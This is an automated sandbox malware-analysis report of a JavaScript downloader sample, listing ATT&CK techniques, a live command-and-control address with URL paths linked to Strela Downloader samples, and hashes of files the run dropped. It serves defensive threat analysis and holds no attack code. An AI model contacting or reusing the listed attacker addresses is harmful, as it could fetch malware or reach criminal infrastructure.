Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
405322677135851429.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Ai	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/%i	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Numy	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2245423594.000002DFB8800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3462064865.000002DFB8A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/Numy	net.exe, 00000007.00000002.2250429613.0000017393128000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/Ai	net.exe, 00000007.00000002.2250429613.000001739314D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2250429613.000001739317D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2250429613.0000017393128000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2250429613.000001739314D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/%i	net.exe, 00000007.00000002.2250429613.000001739314D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587882
Start date and time:	2025-01-10 19:01:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	405322677135851429.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 3.219.243.226, 52.149.20.212, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 405322677135851429.js

Simulations

Behavior and APIs

Time	Type	Description
13:02:02	API Interceptor	26x Sleep call for process: powershell.exe modified
13:02:06	API Interceptor	2x Sleep call for process: svchost.exe modified
13:02:07	API Interceptor	1x Sleep call for process: net.exe modified
13:02:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726311265584016
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0X:9JZj5MiKNnNhoxuS
MD5:	E180CBE99B84892F0040FE1C955EE79F
SHA1:	EA9010867F887F0EF5A676CED136595957FE1478
SHA-256:	06BF3657749F9C803AB642FA4565A103FA550D09FC676EE20F3DBAD37ED998F6
SHA-512:	01D4C9B239457656F9FD870BCD467137C82CAB1F18ACB2C269A1887AFC5CFE6C243EB55F3F79C39B3D8055E4BFDD38A8D3FDD9C9EBFCF1B23DE04C2F55D9CB89
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x97a638ae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555633888157216
Encrypted:	false
SSDEEP:	1536:SfKSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kA:FazaSvGJzYj2UlmOlOL
MD5:	BFD1440060463A8530A0AA2385273540
SHA1:	0D8663478EDCCCE91953CB7D8904FFCAEB4E1898
SHA-256:	834F422B94156B1AF956F915BB90BA23AD8B49A450F4F0EF3495C182AAF44283
SHA-512:	B22E15984FD9BAE57B57191467986B92DDB794EA08A8FD01220165EE0434F0CF31B43F5651A10363290A70662ACA5674A2CF933E03EF350FAA55B7080BC10B28
Malicious:	false
Preview:	..8.... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................{#.....}.................!d.?.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07846737833570322
Encrypted:	false
SSDEEP:	3:XllyYeVfRsj3KuNaAPaU1lgM38Bjl1olluxmO+l/SNxOf:XllyzVZ0KuNDPaUoAAegmOH
MD5:	64E711FB3F8550AB259A5EC36866112B
SHA1:	9F9FDD5F720FFCB807FC724B159C3F0638440FA5
SHA-256:	CB44D0D74B12561C6A2605BF56B7DB36C7296B3293D919A28DCF30D8E9801BDA
SHA-512:	786FA8E94966F296F0CE8F26808FEACB35A83A88850E6A7D8ED2B4F852F6DEEA6942D10D932C891F6C68B14AF11F9747165544CBAA733FB1F98FFEED1B64C7B8
Malicious:	false
Preview:	Z........................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................!d.?.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.162824398984197
Encrypted:	false
SSDEEP:	6:iO4aW+q2PN72nKuAl9OmbnIFUtSaQl0ZmwsaQ+AHNVkwON72nKuAl9OmbjLJ:7rXvVaHAahFUtht/fDAHz5OaHAaSJ
MD5:	FACC11C23B391CC80FC779E32D1E0FF5
SHA1:	416665DDD128387D9E8C44060AD99F6A3F7DCD0B
SHA-256:	637F996DB77E6556A13B05EC7E65BC00E8CAF165967AB7B8A1C7954B9479D451
SHA-512:	4B5BDCCD9FDE71A1D1A9FE9AA3ED73C459321E1F78563DE40AF65793A827BE6C29A9E8832BC81F1D17CE567B432E33FFE19EF6565505948E396D23E79AF9E574
Malicious:	false
Preview:	2025/01/10-13:02:06.779 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:02:06.781 1c28 Recovering log #3.2025/01/10-13:02:06.782 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.162824398984197
Encrypted:	false
SSDEEP:	6:iO4aW+q2PN72nKuAl9OmbnIFUtSaQl0ZmwsaQ+AHNVkwON72nKuAl9OmbjLJ:7rXvVaHAahFUtht/fDAHz5OaHAaSJ
MD5:	FACC11C23B391CC80FC779E32D1E0FF5
SHA1:	416665DDD128387D9E8C44060AD99F6A3F7DCD0B
SHA-256:	637F996DB77E6556A13B05EC7E65BC00E8CAF165967AB7B8A1C7954B9479D451
SHA-512:	4B5BDCCD9FDE71A1D1A9FE9AA3ED73C459321E1F78563DE40AF65793A827BE6C29A9E8832BC81F1D17CE567B432E33FFE19EF6565505948E396D23E79AF9E574
Malicious:	false
Preview:	2025/01/10-13:02:06.779 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:02:06.781 1c28 Recovering log #3.2025/01/10-13:02:06.782 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.117870139428628
Encrypted:	false
SSDEEP:	6:iO4akdL+q2PN72nKuAl9Ombzo2jMGIFUtSaL+1Zmwsag8jLVkwON72nKuAl9OmbX:7rKL+vVaHAa8uFUthc/fgoLV5OaHAa8z
MD5:	B0AB8B8F613EFDD8B8C136FDDD067BA8
SHA1:	87C9B4FB66D3B7BA45AD141434D44DAE71CCA46D
SHA-256:	B0AFCA89800FAA86C75F24231058860A181648CFD02B2A18FFE59C4088E0C6A5
SHA-512:	1D2BDA49BACC4C03E43F334D868B14A3F88627C158C151223EB84AD1EA412B2E0F96C0CDDEFA66DC8ECF39432C687AEC16F171F7241B1AADAE4C43376B51572C
Malicious:	false
Preview:	2025/01/10-13:02:06.803 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:02:06.805 1c7c Recovering log #3.2025/01/10-13:02:06.806 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.117870139428628
Encrypted:	false
SSDEEP:	6:iO4akdL+q2PN72nKuAl9Ombzo2jMGIFUtSaL+1Zmwsag8jLVkwON72nKuAl9OmbX:7rKL+vVaHAa8uFUthc/fgoLV5OaHAa8z
MD5:	B0AB8B8F613EFDD8B8C136FDDD067BA8
SHA1:	87C9B4FB66D3B7BA45AD141434D44DAE71CCA46D
SHA-256:	B0AFCA89800FAA86C75F24231058860A181648CFD02B2A18FFE59C4088E0C6A5
SHA-512:	1D2BDA49BACC4C03E43F334D868B14A3F88627C158C151223EB84AD1EA412B2E0F96C0CDDEFA66DC8ECF39432C687AEC16F171F7241B1AADAE4C43376B51572C
Malicious:	false
Preview:	2025/01/10-13:02:06.803 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:02:06.805 1c7c Recovering log #3.2025/01/10-13:02:06.806 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2befd761-d9d8-4788-b8cf-689f7296063f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969428475986494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGsWsBdOg2H+caq3QYiubcP7E4T3y:Y2sRdsydMHB3QYhbA7nby
MD5:	71DCBF4C06D63A873B36CCE819319E16
SHA1:	2ABBD898E73697EB4352D1C90A286DBAFE61CF9F
SHA-256:	0E6683B550BEF5F093E83A67109F378700ED013DAB903A19B5C8C77AC90457BC
SHA-512:	32B609795B474BC351E77F0BA55C4EE13F9AE8DE209FAE49D67CEB1031CF1B683B814FD5B9136F564B65E3719DB9E5C6C7A218CF6848FA1870CACEBBFDAE6B3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092138557868","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":181002},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2d15b657-0033-4239-b1ef-e2df6c7fc510.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF65767c.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2497585545991905
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7qvtY/:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhh
MD5:	09E30322B88249A015356C3F077EE361
SHA1:	12CDBE1065F5AECA5F92266F2BB6BEAC7AD2D054
SHA-256:	5317E287BABDDD58F3A5D60E5B76E8DECA5125D4EC561FF3E783F2A39BB33F52
SHA-512:	B40384A749289FD3DD70BC8F5705CCFC609E8849F7F330B67D3948EED4478DAF58546B438F8FC43D4004B6E8441DE7E506D83FB17AF5CFC679C3D96B98307DEF
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.099076656681738
Encrypted:	false
SSDEEP:	6:iO4aGSzL+q2PN72nKuAl9OmbzNMxIFUtSaGUJL1ZmwsaGUJdLVkwON72nKuAl9Ob:7rtL+vVaHAa8jFUthjJB/fjJdLV5OaHP
MD5:	17C0488815B9C201893A061468DCF19F
SHA1:	D17CA9F970BC030FDD499DA27B126C916B5076A0
SHA-256:	B282AC87B56FA3C7516B026BED82B00218BC681A4CCFDA9C75DBC78814D492EB
SHA-512:	C751B4ED0A9EE856BE3A084A713473C9D1D32F062B692DA22F25EA5E6A539932E97FDAC7ABBF729A9C490661D9F88672676BEB10861F78B23ABF8FC4A4367F2B
Malicious:	false
Preview:	2025/01/10-13:02:07.043 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:02:07.045 1c7c Recovering log #3.2025/01/10-13:02:07.045 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.099076656681738
Encrypted:	false
SSDEEP:	6:iO4aGSzL+q2PN72nKuAl9OmbzNMxIFUtSaGUJL1ZmwsaGUJdLVkwON72nKuAl9Ob:7rtL+vVaHAa8jFUthjJB/fjJdLV5OaHP
MD5:	17C0488815B9C201893A061468DCF19F
SHA1:	D17CA9F970BC030FDD499DA27B126C916B5076A0
SHA-256:	B282AC87B56FA3C7516B026BED82B00218BC681A4CCFDA9C75DBC78814D492EB
SHA-512:	C751B4ED0A9EE856BE3A084A713473C9D1D32F062B692DA22F25EA5E6A539932E97FDAC7ABBF729A9C490661D9F88672676BEB10861F78B23ABF8FC4A4367F2B
Malicious:	false
Preview:	2025/01/10-13:02:07.043 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:02:07.045 1c7c Recovering log #3.2025/01/10-13:02:07.045 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4445456266946435
Encrypted:	false
SSDEEP:	384:ye6ci5t9iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mWs3OazzU89UTTgUL
MD5:	1702B140899EFB593C2CE264FEE2F47F
SHA1:	7957D1B65D159FFD2591A2AC1827E75A7832D294
SHA-256:	C8B8C46BD06C2812C3D8D399F4BBE6A6C4025EDEFAA8849E22D27767E03BA80C
SHA-512:	EE87E89635BD3FA2C6B63A43EDBD927BCDB85CBDAC9021CC20D72AFBA73E9B8A5D74AC25C1A9B0301B65339A8E4BA2711C1FB2C3C39257CC0270783A45D6D233
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

